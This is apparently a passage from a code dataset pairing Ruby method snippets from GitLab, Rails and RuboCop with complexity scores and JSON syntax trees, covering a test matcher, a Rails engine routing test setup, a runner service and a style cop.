{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/matchers/invoke_rop_steps.rb","start_line":10,"raw_source":"def add_err_result_for_step(err_result_for_step, err_results_for_steps)\n    result_type = :err\n    step_class, returned_message = parse_result_for_step(err_result_for_step, result_type)\n\n    err_results_for_steps[step_class] = Gitlab::Fp::Result.err(returned_message)\n  end","complexity_score":7.0,"ast_json":"{\"type\":\"def\",\"children\":[\"add_err_result_for_step\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"err_result_for_step\"]},{\"type\":\"arg\",\"children\":[\"err_results_for_steps\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"result_type\",{\"type\":\"sym\",\"children\":[\"err\"]}]},{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"step_class\"]},{\"type\":\"lvasgn\",\"children\":[\"returned_message\"]}]},{\"type\":\"send\",\"children\":[null,\"parse_result_for_step\",{\"type\":\"lvar\",\"children\":[\"err_result_for_step\"]},{\"type\":\"lvar\",\"children\":[\"result_type\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"err_results_for_steps\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"step_class\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Fp\"]},\"Result\"]},\"err\",{\"type\":\"lvar\",\"children\":[\"returned_message\"]}]}]}]}]}","id":"a8fb8244-3491-4778-8e62-404299387dc9"}
{"repo_name":"rails","file_path":"./repos/rails/railties/test/railties/mounted_engine_test.rb","start_line":11,"raw_source":"def setup\n      build_app\n\n      add_to_config(\"config.action_dispatch.show_exceptions = :none\")\n\n      @simple_plugin = engine \"weblog\"\n      @plugin = engine \"blog\"\n      @metrics_plugin = engine \"metrics\"\n\n      app_file \"config/routes.rb\", <<-RUBY\n        Rails.application.routes.draw do\n          mount Weblog::Engine, :at => '/', :as => 'weblog'\n          resources :posts\n          get \"/engine_route\" => \"application_generating#engine_route\"\n          get \"/engine_route_in_view\" => \"application_generating#engine_route_in_view\"\n          get \"/weblog_engine_route\" => \"application_generating#weblog_engine_route\"\n          get \"/weblog_through_metric_engine_route\" => \"application_generating#weblog_through_metric_engine_route\"\n          get \"/weblog_engine_route_in_view\" => \"application_generating#weblog_engine_route_in_view\"\n          get \"/url_for_engine_route\" => \"application_generating#url_for_engine_route\"\n          get \"/polymorphic_route\" => \"application_generating#polymorphic_route\"\n          get \"/application_polymorphic_path\" => \"application_generating#application_polymorphic_path\"\n          scope \"/:user\", :user => \"anonymous\" do\n            mount Blog::Engine => \"/blog\"\n          end\n          mount Metrics::Engine => \"/metrics\"\n          root :to => 'main#index'\n        end\n      RUBY\n\n      @simple_plugin.write \"lib/weblog.rb\", <<-RUBY\n        module Weblog\n          class Engine < ::Rails::Engine\n          end\n        end\n      RUBY\n\n      @simple_plugin.write \"config/routes.rb\", <<-RUBY\n        Weblog::Engine.routes.draw do\n          get '/weblog' => \"weblogs#index\", as: 'weblogs'\n          get '/generate_weblog_route' => \"weblogs#generate_weblog_route\", as: 'weblog_generate_weblog_route'\n        end\n      RUBY\n\n      @simple_plugin.write \"app/controllers/weblogs_controller.rb\", <<-RUBY\n        class WeblogsController < ActionController::Base\n          def index\n            render plain: request.url\n          end\n\n          def generate_weblog_route\n            render plain: weblog.weblogs_path\n          end\n        end\n      RUBY\n\n      @metrics_plugin.write \"lib/metrics.rb\", <<-RUBY\n        module Metrics\n          class Engine < ::Rails::Engine\n            isolate_namespace(Metrics)\n          end\n        end\n      RUBY\n\n      @metrics_plugin.write \"config/routes.rb\", <<-RUBY\n        Metrics::Engine.routes.draw do\n          get '/generate_blog_route', to: 'generating#generate_blog_route'\n          get '/generate_blog_route_in_view', to: 'generating#generate_blog_route_in_view'\n        end\n      RUBY\n\n      @metrics_plugin.write \"app/controllers/metrics/generating_controller.rb\", <<-RUBY\n        module Metrics\n          class GeneratingController < ActionController::Base\n            def generate_blog_route\n              render plain: blog.post_path(1)\n            end\n\n            def generate_blog_route_in_view\n              render inline: \"<%= blog.post_path(1) -%>\"\n            end\n          end\n        end\n      RUBY\n\n      @plugin.write \"app/models/blog/post.rb\", <<-RUBY\n        module Blog\n          class Post\n            include ActiveModel::Model\n\n            def id\n              44\n            end\n\n            def persisted?\n              true\n            end\n          end\n        end\n      RUBY\n\n      @plugin.write \"lib/blog.rb\", <<-RUBY\n        module Blog\n          class Engine < ::Rails::Engine\n            isolate_namespace(Blog)\n          end\n        end\n      RUBY\n\n      @plugin.write \"config/routes.rb\", <<-RUBY\n        Blog::Engine.routes.draw do\n          resources :posts\n          get '/different_context', to: 'posts#different_context'\n          get '/generate_application_route', to: 'posts#generate_application_route'\n          get '/application_route_in_view', to: 'posts#application_route_in_view'\n          get '/engine_polymorphic_path', to: 'posts#engine_polymorphic_path'\n          get '/engine_asset_path', to: 'posts#engine_asset_path'\n          get '/file_field_with_direct_upload_path', to: 'posts#file_field_with_direct_upload_path'\n        end\n      RUBY\n\n      @plugin.write \"app/controllers/blog/posts_controller.rb\", <<-RUBY\n        module Blog\n          class PostsController < ActionController::Base\n            def index\n              render plain: blog.post_path(1)\n            end\n\n            def different_context\n              render plain: blog.post_path(1, user: \"ada\")\n            end\n\n            def generate_application_route\n              path = main_app.url_for(controller: \"/main\",\n                                 action: \"index\",\n                                 only_path: true)\n              render plain: path\n            end\n\n            def application_route_in_view\n              render inline: \"<%= main_app.root_path %>\"\n            end\n\n            def engine_polymorphic_path\n              render plain: polymorphic_path(Post.new)\n            end\n\n            def engine_asset_path\n              render inline: \"<%= asset_path 'images/foo.png', skip_pipeline: true %>\"\n            end\n\n            def file_field_with_direct_upload_path\n              render inline: \"<%= file_field_tag :image, direct_upload: true %>\"\n            end\n          end\n        end\n      RUBY\n\n      app_file \"app/controllers/application_generating_controller.rb\", <<-RUBY\n        class ApplicationGeneratingController < ActionController::Base\n          def engine_route\n            render plain: blog.posts_path\n          end\n\n          def engine_route_in_view\n            render inline: \"<%= blog.posts_path %>\"\n          end\n\n          def weblog_engine_route\n            render plain: weblog.weblogs_path\n          end\n\n          def weblog_through_metric_engine_route\n            # trigger definition of route helper\n            weblog.weblogs_path\n\n            render plain: metrics.respond_to?(:weblogs_path)\n          end\n\n          def weblog_engine_route_in_view\n            render inline: \"<%= weblog.weblogs_path %>\"\n          end\n\n          def url_for_engine_route\n            render plain: blog.url_for(controller: \"blog/posts\", action: \"index\", user: \"john\", only_path: true)\n          end\n\n          def polymorphic_route\n            render plain: polymorphic_url([blog, Blog::Post.new])\n          end\n\n          def application_polymorphic_path\n            render plain: polymorphic_path(Blog::Post.new)\n          end\n        end\n      RUBY\n    end","complexity_score":20.0,"ast_json":"{\"type\":\"def\",\"children\":[\"setup\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"build_app\"]},{\"type\":\"send\",\"children\":[null,\"add_to_config\",{\"type\":\"str\",\"children\":[\"config.action_dispatch.show_exceptions = :none\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@simple_plugin\",{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"weblog\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@plugin\",{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"blog\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@metrics_plugin\",{\"type\":\"send\",\"children\":[null,\"engine\",{\"type\":\"str\",\"children\":[\"metrics\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        Rails.application.routes.draw do\\n\"]},{\"type\":\"str\",\"children\":[\"          mount Weblog::Engine, :at => '/', :as => 'weblog'\\n\"]},{\"type\":\"str\",\"children\":[\"          resources :posts\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/engine_route\\\" => \\\"application_generating#engine_route\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/engine_route_in_view\\\" => \\\"application_generating#engine_route_in_view\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/weblog_engine_route\\\" => \\\"application_generating#weblog_engine_route\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/weblog_through_metric_engine_route\\\" => \\\"application_generating#weblog_through_metric_engine_route\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/weblog_engine_route_in_view\\\" => \\\"application_generating#weblog_engine_route_in_view\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/url_for_engine_route\\\" => \\\"application_generating#url_for_engine_route\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/polymorphic_route\\\" => \\\"application_generating#polymorphic_route\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          get \\\"/application_polymorphic_path\\\" => \\\"application_generating#application_polymorphic_path\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          scope \\\"/:user\\\", :user => \\\"anonymous\\\" do\\n\"]},{\"type\":\"str\",\"children\":[\"            mount Blog::Engine => \\\"/blog\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"          mount Metrics::Engine => \\\"/metrics\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          root :to => 'main#index'\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@simple_plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"lib/weblog.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        module Weblog\\n\"]},{\"type\":\"str\",\"children\":[\"          class Engine < ::Rails::Engine\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@simple_plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        Weblog::Engine.routes.draw do\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/weblog' => \\\"weblogs#index\\\", as: 'weblogs'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/generate_weblog_route' => \\\"weblogs#generate_weblog_route\\\", as: 'weblog_generate_weblog_route'\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@simple_plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"app/controllers/weblogs_controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class WeblogsController < ActionController::Base\\n\"]},{\"type\":\"str\",\"children\":[\"          def index\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: request.url\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def generate_weblog_route\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: weblog.weblogs_path\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics_plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"lib/metrics.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        module Metrics\\n\"]},{\"type\":\"str\",\"children\":[\"          class Engine < ::Rails::Engine\\n\"]},{\"type\":\"str\",\"children\":[\"            isolate_namespace(Metrics)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics_plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        Metrics::Engine.routes.draw do\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/generate_blog_route', to: 'generating#generate_blog_route'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/generate_blog_route_in_view', to: 'generating#generate_blog_route_in_view'\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@metrics_plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"app/controllers/metrics/generating_controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        module Metrics\\n\"]},{\"type\":\"str\",\"children\":[\"          class GeneratingController < ActionController::Base\\n\"]},{\"type\":\"str\",\"children\":[\"            def generate_blog_route\\n\"]},{\"type\":\"str\",\"children\":[\"              render plain: blog.post_path(1)\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def generate_blog_route_in_view\\n\"]},{\"type\":\"str\",\"children\":[\"              render inline: \\\"<%= blog.post_path(1) -%>\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"app/models/blog/post.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        module Blog\\n\"]},{\"type\":\"str\",\"children\":[\"          class Post\\n\"]},{\"type\":\"str\",\"children\":[\"            include ActiveModel::Model\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def id\\n\"]},{\"type\":\"str\",\"children\":[\"              44\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def persisted?\\n\"]},{\"type\":\"str\",\"children\":[\"              true\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"lib/blog.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        module Blog\\n\"]},{\"type\":\"str\",\"children\":[\"          class Engine < ::Rails::Engine\\n\"]},{\"type\":\"str\",\"children\":[\"            isolate_namespace(Blog)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"config/routes.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        Blog::Engine.routes.draw do\\n\"]},{\"type\":\"str\",\"children\":[\"          resources :posts\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/different_context', to: 'posts#different_context'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/generate_application_route', to: 'posts#generate_application_route'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/application_route_in_view', to: 'posts#application_route_in_view'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/engine_polymorphic_path', to: 'posts#engine_polymorphic_path'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/engine_asset_path', to: 'posts#engine_asset_path'\\n\"]},{\"type\":\"str\",\"children\":[\"          get '/file_field_with_direct_upload_path', to: 'posts#file_field_with_direct_upload_path'\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@plugin\"]},\"write\",{\"type\":\"str\",\"children\":[\"app/controllers/blog/posts_controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        module Blog\\n\"]},{\"type\":\"str\",\"children\":[\"          class PostsController < ActionController::Base\\n\"]},{\"type\":\"str\",\"children\":[\"            def index\\n\"]},{\"type\":\"str\",\"children\":[\"              render plain: blog.post_path(1)\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def different_context\\n\"]},{\"type\":\"str\",\"children\":[\"              render plain: blog.post_path(1, user: \\\"ada\\\")\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def generate_application_route\\n\"]},{\"type\":\"str\",\"children\":[\"              path = main_app.url_for(controller: \\\"/main\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"                                 action: \\\"index\\\",\\n\"]},{\"type\":\"str\",\"children\":[\"                                 only_path: true)\\n\"]},{\"type\":\"str\",\"children\":[\"              render plain: path\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def application_route_in_view\\n\"]},{\"type\":\"str\",\"children\":[\"              render inline: \\\"<%= main_app.root_path %>\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def engine_polymorphic_path\\n\"]},{\"type\":\"str\",\"children\":[\"              render plain: polymorphic_path(Post.new)\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def engine_asset_path\\n\"]},{\"type\":\"str\",\"children\":[\"              render inline: \\\"<%= asset_path 'images/foo.png', skip_pipeline: true %>\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            def file_field_with_direct_upload_path\\n\"]},{\"type\":\"str\",\"children\":[\"              render inline: \\\"<%= file_field_tag :image, direct_upload: true %>\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"            end\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"app_file\",{\"type\":\"str\",\"children\":[\"app/controllers/application_generating_controller.rb\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"        class ApplicationGeneratingController < ActionController::Base\\n\"]},{\"type\":\"str\",\"children\":[\"          def engine_route\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: blog.posts_path\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def engine_route_in_view\\n\"]},{\"type\":\"str\",\"children\":[\"            render inline: \\\"<%= blog.posts_path %>\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def weblog_engine_route\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: weblog.weblogs_path\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def weblog_through_metric_engine_route\\n\"]},{\"type\":\"str\",\"children\":[\"            # trigger definition of route helper\\n\"]},{\"type\":\"str\",\"children\":[\"            weblog.weblogs_path\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: metrics.respond_to?(:weblogs_path)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def weblog_engine_route_in_view\\n\"]},{\"type\":\"str\",\"children\":[\"            render inline: \\\"<%= weblog.weblogs_path %>\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def url_for_engine_route\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: blog.url_for(controller: \\\"blog/posts\\\", action: \\\"index\\\", user: \\\"john\\\", only_path: true)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def polymorphic_route\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: polymorphic_url([blog, Blog::Post.new])\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"          def application_polymorphic_path\\n\"]},{\"type\":\"str\",\"children\":[\"            render plain: polymorphic_path(Blog::Post.new)\\n\"]},{\"type\":\"str\",\"children\":[\"          end\\n\"]},{\"type\":\"str\",\"children\":[\"        end\\n\"]}]}]}]}]}","id":"072010ca-6dd2-45f2-8c5e-4e7426b2e613"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/qa/qa/page/explore/ci_cd_catalog.rb","start_line":30,"raw_source":"def get_top_project_names(count)\n          all_elements('ci-resource-link', minimum: 1).first(count).map(&:text)\n        end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"get_top_project_names\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"count\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"all_elements\",{\"type\":\"str\",\"children\":[\"ci-resource-link\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"minimum\"]},{\"type\":\"int\",\"children\":[1]}]}]}]},\"first\",{\"type\":\"lvar\",\"children\":[\"count\"]}]},\"map\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"text\"]}]}]}]}","id":"2d526dc0-2178-4e2c-9947-7e8488e2f2d3"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/services/ci/runners/set_runner_associated_projects_service.rb","start_line":71,"raw_source":"def disassociate_old_projects(new_project_ids, current_project_ids)\n        project_ids_to_be_deleted = current_project_ids - new_project_ids\n\n        if project_ids_to_be_deleted.any?\n          all_destroyed =\n            Ci::RunnerProject\n              .destroy_by(project_id: project_ids_to_be_deleted)\n              .all?(&:destroyed?)\n\n          unless all_destroyed\n            return ServiceResponse.error(\n              message: _('failed to destroy runner project'),\n              reason: :failed_runner_project_destroy)\n          end\n        end\n\n        ServiceResponse.success(payload: { deleted_from_projects: ::Project.id_in(project_ids_to_be_deleted) })\n      end","complexity_score":15.4,"ast_json":"{\"type\":\"def\",\"children\":[\"disassociate_old_projects\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"new_project_ids\"]},{\"type\":\"arg\",\"children\":[\"current_project_ids\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project_ids_to_be_deleted\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"current_project_ids\"]},\"-\",{\"type\":\"lvar\",\"children\":[\"new_project_ids\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project_ids_to_be_deleted\"]},\"any?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"all_destroyed\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Ci\"]},\"RunnerProject\"]},\"destroy_by\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"project_ids_to_be_deleted\"]}]}]}]},\"all?\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"destroyed?\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"all_destroyed\"]},null,{\"type\":\"return\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"error\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"_\",{\"type\":\"str\",\"children\":[\"failed to destroy runner project\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"reason\"]},{\"type\":\"sym\",\"children\":[\"failed_runner_project_destroy\"]}]}]}]}]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ServiceResponse\"]},\"success\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"payload\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"deleted_from_projects\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Project\"]},\"id_in\",{\"type\":\"lvar\",\"children\":[\"project_ids_to_be_deleted\"]}]}]}]}]}]}]}]}]}","id":"0fde6d20-8909-44e3-8a02-4047b6722f73"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/map_compact_with_conditional_block.rb","start_line":96,"raw_source":"def inspect(node, block_argument_node, condition_node, return_value_node, range)\n          return unless returns_block_argument?(block_argument_node, return_value_node)\n          return if condition_node.parent.elsif?\n\n          method = truthy_branch?(return_value_node) ? 'select' : 'reject'\n          current = current(node)\n\n          add_offense(range, message: format(MSG, current: current, method: method)) do |corrector|\n            return if part_of_ignored_node?(node) || ignored_node?(node)\n\n            corrector.replace(\n              range, \"#{method} { |#{block_argument_node.source}| #{condition_node.source} }\"\n            )\n\n            ignore_node(node)\n          end\n        end","complexity_score":23.6,"ast_json":"{\"type\":\"def\",\"children\":[\"inspect\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"block_argument_node\"]},{\"type\":\"arg\",\"children\":[\"condition_node\"]},{\"type\":\"arg\",\"children\":[\"return_value_node\"]},{\"type\":\"arg\",\"children\":[\"range\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"returns_block_argument?\",{\"type\":\"lvar\",\"children\":[\"block_argument_node\"]},{\"type\":\"lvar\",\"children\":[\"return_value_node\"]}]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"condition_node\"]},\"parent\"]},\"elsif?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"method\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"truthy_branch?\",{\"type\":\"lvar\",\"children\":[\"return_value_node\"]}]},{\"type\":\"str\",\"children\":[\"select\"]},{\"type\":\"str\",\"children\":[\"reject\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"current\",{\"type\":\"send\",\"children\":[null,\"current\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"add_offense\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"format\",{\"type\":\"const\",\"children\":[null,\"MSG\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"current\"]},{\"type\":\"lvar\",\"children\":[\"current\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"method\"]},{\"type\":\"lvar\",\"children\":[\"method\"]}]}]}]}]}]}]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"corrector\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[null,\"part_of_ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"ignored_node?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]}]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"corrector\"]},\"replace\",{\"type\":\"lvar\",\"children\":[\"range\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"method\"]}]},{\"type\":\"str\",\"children\":[\" { 